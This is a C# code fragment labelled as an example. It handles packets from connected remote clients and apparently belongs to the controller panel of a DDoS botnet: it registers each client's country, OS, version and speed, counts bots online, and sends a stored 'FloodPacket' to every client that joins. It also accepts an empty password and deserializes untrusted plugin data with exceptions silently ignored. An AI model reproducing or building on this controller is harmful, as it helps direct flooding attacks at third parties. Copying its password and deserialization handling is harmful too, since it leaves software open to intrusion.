Example #1
0
        void client_DataReceived(object sender, DataReceivedEventArgs e)
        {
            Client client = (Client)sender;

            //try
            //{
            switch (e.Header)
            {
            case (int)PacketHeader.PASSWORD:
            {
                PacketWriter w    = new PacketWriter();
                string       pass = e.Reader.ReadString();
                if (Settings.Passwords.Contains(pass) || pass == string.Empty || pass == "")
                {
                    w.Write((int)PacketHeader.PASSWORD_ACCEPT);
                }
                else
                {
                    w.Write((int)PacketHeader.PASSWORD_DENIED);
                    Invoke((MethodInvoker) delegate
                        {
                            GlobalProperties.NI.ShowBalloonTip(1500, "Invalid Password", "The client was disconnected due to wrong password", ToolTipIcon.Error);
                        });
                    client.DisconnectNotify = false;
                }
                client.Send(w.ToArray(true));
                w = null;
            }
            break;

            case (int)PacketHeader.INFORMATION:
            {
                if (Settings.Limit != 0)
                {
                    if (GlobalProperties.Online == Settings.Limit)
                    {
                        PacketWriter w = new PacketWriter();
                        w.Write((int)PacketHeader.LIMIT);
                        client.Send(w.ToArray(true));
                        w = null;
                        Invoke((MethodInvoker) delegate
                            {
                                GlobalProperties.NI.ShowBalloonTip(2000, "Limit Reached", "New client will be disconnected due to connection limit", ToolTipIcon.Warning);
                            });
                        break;
                    }
                }
                GlobalProperties.Online++;
                client.Lvi.SubItems.Add(client.KeyboardCountry = e.Reader.ReadString());
                if (countryByGeoIPToolStripMenuItem.Checked)
                {
                    client.Lvi.SubItems[1].Text = geoIp.lookupCountryName(client.Address.ToString().Split(':')[0]);
                }
                client.Lvi.SubItems.Add(Parser.GetOS(e.Reader.ReadString()));
                client.Lvi.SubItems.Add("Idle");
                client.Lvi.SubItems.Add(e.Reader.ReadString());
                client.Lvi.SubItems.Add("UKN");
                client.Lvi.SubItems.Add(client.Socket.Port.ToString());
                client.Lvi.ImageIndex = Functions.GetCountryIndex(client.Lvi.SubItems[1].Text, flags);
                Invoke((MethodInvoker) delegate
                    {
                        client.FullyConnected = true;
                        if (xHideIPs.Checked)
                        {
                            client.Lvi.Text = string.Empty;
                        }
                        lstClients.Items.Add(client.Lvi);
                        if (scrollToLatestToolStripMenuItem.Checked)
                        {
                            client.Lvi.EnsureVisible();
                        }
                        if (Settings.NotifyConnected)
                        {
                            GlobalProperties.NI.ShowBalloonTip(3000, "Connection", string.Format("IP Address: {0}\nCountry: {1}\nOS: {2}\nVersion: {3}\nPort: {4}", (!xHideIPs.Checked ? client.Lvi.Text : "HIDDEN"), client.Lvi.SubItems[1].Text, client.Lvi.SubItems[2].Text, client.Lvi.SubItems[4].Text, client.Lvi.SubItems[6].Text), ToolTipIcon.Info);
                        }
                    });
                if (Settings.LogDisconnected)
                {
                    EventLogger.LogEvent("Connection", (!xHideIPs.Checked ? client.Lvi.Text : "Client") + " Connected");
                }
                if (GlobalProperties.Online > peak)
                {
                    peak = GlobalProperties.Online;
                    updatePeak();
                }
                if (GlobalProperties.Online > total)
                {
                    total = GlobalProperties.Online;
                    updateTotal();
                }
                updateOnline();

                if (FloodPacket != null)
                {
                    client.Send(FloodPacket);
                }
            }
            break;

            case (int)PacketHeader.STATUS:
                try
                {
                    client.SetStatus(Parser.GetStatus(e.Reader.ReadInt32(), e.Reader.ReadInt32()));
                }
                catch { }
                break;

            case (int)PacketHeader.PLUGIN_STATUS:
            {
                try
                {
                    Guid   guid = new Guid(e.Reader.ReadString());
                    int    code = e.Reader.ReadInt32();
                    string add  = e.Reader.ReadString();
                    client.SetStatus(Parser.GetPluginStatus(guid, code, add));
                }
                catch { }
            }
            break;

            case (int)PacketHeader.PLUGIN_DATA:
            {
                try
                {
                    int        len  = e.Reader.ReadInt32();
                    PluginArgs args = Serializer.Deserialize(e.Reader.ReadBytes(len));
                    GlobalProperties.InitializedPlugins[args.PluginGuid].OnReceived(args);
                }
                catch { }
            }
            break;

            case (int)PacketHeader.SPEED:
            {
                try
                {
                    Invoke((MethodInvoker) delegate
                        {
                            client.Lvi.SubItems[5].Text = e.Reader.ReadDouble().ToString() + " KB/SEC";
                        });
                    string speed = Parser.GetTotalSpeed(Clients);
                    Invoke((MethodInvoker) delegate
                        {
                            lblTotalSpeed.Text = "Total Speed: " + speed;
                        });
                }
                catch { }
            }
            break;

            case (int)PacketHeader.CONFIRM:
            {
                client.Alive = true;
                client.SendPing();
            }
            break;
            }
            received += e.Length;
            updateReceived();
            //}
            //catch { }
            if ((PacketHeader)e.Header != PacketHeader.PLUGIN_GET && (PacketHeader)e.Header != PacketHeader.PLUGIN_REMOVE && pluginView == null)
            {
                e.Reader.Close();
            }
        }